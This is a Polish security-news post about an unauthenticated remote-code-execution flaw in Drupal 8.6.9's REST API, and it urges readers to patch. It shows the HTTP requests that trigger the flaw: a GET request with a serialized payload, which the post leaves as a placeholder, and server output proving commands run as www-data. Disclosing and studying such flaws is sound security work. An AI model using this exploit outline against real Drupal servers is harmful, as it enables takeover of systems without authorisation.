Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book

Banalny exploit na Drupala – można przejąć serwer bez uwierzytelnienia

23 lutego 2019, 13:41 | W biegu | 1 komentarz
Tagi: , ,

Niewiele trzeba było czekać na analizę ostatniego patcha wydanego przez ekipę Drupala. Jeśli mamy dostępne API RESTowe możemy wykonać taki request:

POST /drupal-8.6.9/node/1?_format=hal_json HTTP/1.1
Host: 192.168.56.101
Content-Type: application/hal+json
Content-Length: 286

{
  "_links": {
    "type": {
      "href": "http://192.168.56.101/drupal-8.6.9/rest/type/node/article"
    }
  },
  "type": {
      "target_id": "article"
  },
  "title": {
      "value": "My Article"
  },
  "body": {
      "value": "some body content aaa bbb ccc"
  }
}

Bez uwierzytelnienia on nie przechodzi. Ale… jeśli zmienimy metodę z POST na GET, żądanie jest przetwarzane bez uwierzytelnienia!

Co więcej, w parametrze options (patrz poniżej) można przekazać ciąg znaków, który jest automatycznie deserializowany po stronie serwerowej i mamy wykonanie kodu po stronie serwerowej:

GET /drupal-8.6.9/node/1?_format=hal_json HTTP/1.1
Host: 192.168.1.25
Content-Type: application/hal+json
Content-Length: 642

{
  "link": [
    {
      "value": "link",
      "options": "<SERIALIZED_CONTENT>"
    }
  ],
  "_links": {
    "type": {
      "href": "http://192.168.1.25/drupal-8.6.9/rest/type/shortcut/default"
    }
  }
}

W odpowiedzi wynik naszego polecenia (w tym przypadku id):

HTTP/1.1 200 OK
Link: <...>
X-Generator: Drupal 8 (https://www.drupal.org)
X-Drupal-Cache: MISS
Connection: close
Content-Type: application/hal+json
Content-Length: 9012

{...}uid=33(www-data) gid=33(www-data) groups=33(www-data)

Polecamy jak najszybciej załatać Drupala.

PS
Jeśli interesuje Cię tematyka bezpieczeństwa API REST – zapraszamy na nasze autorskie szkolenie warsztatowe.

–ms

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

  1. Szybka reakcja! Bo faktycznie mogloby to namieszac troche bez patcha. Z drugiej strony przy architekturze Docker-owej za duzo tutaj nie zdzialamy co dodaje pewny 'layer’ bezpieczenstwa.
    Pozdrawiam

    Odpowiedz

Odpowiedz